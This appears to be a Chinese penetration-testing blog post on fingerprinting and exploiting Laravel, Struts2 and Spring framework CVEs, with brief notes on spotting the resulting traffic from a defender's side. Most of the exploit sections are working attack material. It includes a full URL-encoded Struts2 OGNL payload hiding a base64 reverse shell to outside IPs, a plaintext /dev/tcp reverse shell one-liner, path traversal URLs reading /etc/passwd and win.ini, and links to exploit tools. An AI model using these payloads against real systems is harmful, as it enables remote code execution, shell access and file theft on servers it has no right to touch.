框架的CVE漏洞利用 && php类 && java类 && 手工操作和自动化操作&&蓝队分析漏洞利用的流量特征

前言

php重要框架和基本的识别特征

php的主要是 tp框架 和 laravel 当然还有 yii等

tp的主要特征

1\报错信息:

2、图标

3、请求头

Laravel特征

1、报错信息

2、请求头

php框架CVE利用

lavarvel

工具
https://github.com/zhzyker/CVE-2021-3129

https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

版本
Laravel <= 8.4.2

利用 : 第二个工具

我们分析一下工具是个怎么的利用过程 怎么把这个webshell进行写入的

调试工具 :2种方法 1、反编译 (因为这个不是exe而是python文件所以直接打开看就行)

2、工具设置代理规则进行调试

使用代理规则的配置分析(这个就是蓝队的分析)

就是现在抓的包就类似于我们蓝队分析他的攻击 如果我们看不出来他是在干啥 那就只能卷铺盖走了

这边使用 proxy代理工具+burp 进行查看

配置上规则

之后运行一下 脚本

然后进入burp进行查看数据包

java的基本框架

框架和特征

1、Struct2

有个误解就是 shiro是框架 这个是不对的 shiro是框架下的组件

1、图标

图标类似于一个 S

2、

后缀有 .action 这个的辨别度不大 因为大多数会隐藏

3、因为这个框架的传输数据的特殊性 有的会有明显的

复制代码
Content-Type: multipart/form-data

struct2框架利用

版本
Apache Struts 2.0.0 - 2.5.25

工具
https://github.com/YanMu2020/s2-062

复制代码
python s2-062.py --url http://192.168.248.132:38368/.action

显示有漏洞 --cmd进行利用

回显了

蓝队视角下的 strut CVE 漏洞利用的流量包的分析

结合代理就是上边的 然后直接看burp

攻击的流量包 的特征 1、特殊的字符 如 (#) request map + 这类字符

2、数据包的post请求中大规模的字符串出现

看一下工具

再看一下payload

复现2 :

Struts2 代码执行 (CVE-2021-31805)

框架版本 Apache Struts 2.0.0 - 2.5.29

为了应付之后没有工具的测试 所以我们还是要练习一下 根据网上的EXP去自己手工操作

复现流程:

复制代码
Post: /s2_062/index.action
name=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%30%4e%79%34%35%4e%43%34%79%4d%7a%59%75%4d%54%45%33%4c%7a%55%30%4e%54%51%67%4d%44%34%6d%4d%51%3d%3d}|{base64,-d}|{bash,-i}'}))

%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%30%4e%79%34%35%4e%43%34%79%4d%7a%59%75%4d%54%45%33%4c%7a%55%30%4e%54%51%67%4d%44%34%6d%4d%51%3d%3d

上边这个是加密的payload

复制代码
%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4f%54%49%75%4d%54%59%34%4c%6a%49%78%4c%6a%45%33%4c%7a%55%31%4e%6a%59%67%4d%44%34%6d%4d%51%3d%3d

name=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4f%54%49%75%4d%54%59%34%4c%6a%49%78%4c%6a%45%33%4c%7a%55%31%4e%6a%59%67%4d%44%34%6d%4d%51%3d%3d}|{base64,-d}|{bash,-i}'}))

发送成功了

Springboot

特征

1、图标还有就是880端口

2、报错:

1、任意文件读取漏洞

CVE-2021-21234
利用条件还是比较苛刻的 1、spring 2、引用了 actuator-logview
Spring-boot-actuator-logview 0.2.13之前版本存在路径遍历漏洞,攻击者可通过该缺陷读取系统任意文件

就知道是springboot

payload

复制代码
http://47.98.193.176:8908/manage/log/view?filename=etc/passwd&base=../../../../../../
//linux利用

// win利用
http://127.0.0.1:8887/manage/log/view?filename=/windows/win.ini&base=../../../../../../../

我这个是docker搭建的所以这个账号密码可以有些不准确

2、Spring Cloud Function Spel 表达式注入 CVE-2022-22963

版本: 黑盒情况下我们是很难识别是不是调用了 Spring Cloud Function(云计算功能)(其实最简单的识别就是你使用这个CVE注入一下)
3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

这个是漏洞环境

工具直接shou哈

3、Spring Framework远程代码执行漏洞 CVE-2022-22965

Spring Framework < 5.3.18
Spring Framework < 5.2.20

这种就是直接工具搜哈就行
https://github.com/BobTheShoplifter/Spring4Shell-PoC

但是实战当然是不可能执行 whoami
生成一个反弹shell
工具名是 Hack-Tools
注意细节就是生成的shell目标系统能不能执行 比如bash 目标的是win就无法进行接收
bash -c 'exec bash -i &>/dev/tcp/192.168.21.17/5566 <&1'

4、Spring boot命令执行 (CVE-2022-22947)

前提是调用了 Spring Cloud Gateway(这个是java微服务的前后端之间的代理 这个Gateway的翻译就是网关的意思 他的作用就是让通讯简洁 鉴权 等)

版本:
Spring Cloud Gateway 3.1.x < 3.1.1

Spring Cloud Gateway 3.0.x < 3.0.7

识别:看响应标头

利用:还是工具梭哈:
https://github.com/13exp/SpringBoot-Scan-GUI

Spring漏洞利用下蓝队的视角

Spring Cloud Gateway :

相关推荐
摸鱼也很难4 天前
JAVA组件的利用漏洞 && Shlr搜索引擎 && shiro身份 && Log4j日志
cve·漏洞复现·组件安全
摘星怪sec2 个月前
【漏洞复现】|方正畅享全媒体新闻采编系统reportCenter.do/screen.do存在SQL注入
数据库·sql·web安全·媒体·漏洞复现
星尘安全3 个月前
急需升级,D-Link 路由器漏洞被僵尸网络广泛用于 DDoS 攻击
网络·智能路由器·ddos·漏洞·cve
Mitch3113 个月前
【漏洞复现】CVE-2015-3337 Arbitrary File Reading
elasticsearch·网络安全·docker·漏洞复现
Mitch3113 个月前
【漏洞复现】CVE-2015-5531 Arbitrary File Reading
web安全·elasticsearch·网络安全·docker·漏洞复现
Mitch3113 个月前
【漏洞复现】CVE-2023-37461 Arbitrary File Writing
web安全·网络安全·prometheus·metersphere·漏洞复现
亿.64 个月前
春秋云境 CVE 复现
web·cve·春秋云境
摘星怪sec4 个月前
【漏洞复现】|百易云资产管理运营系统/mobilefront/c/2.php前台文件上传
网络安全·文件上传·漏洞复现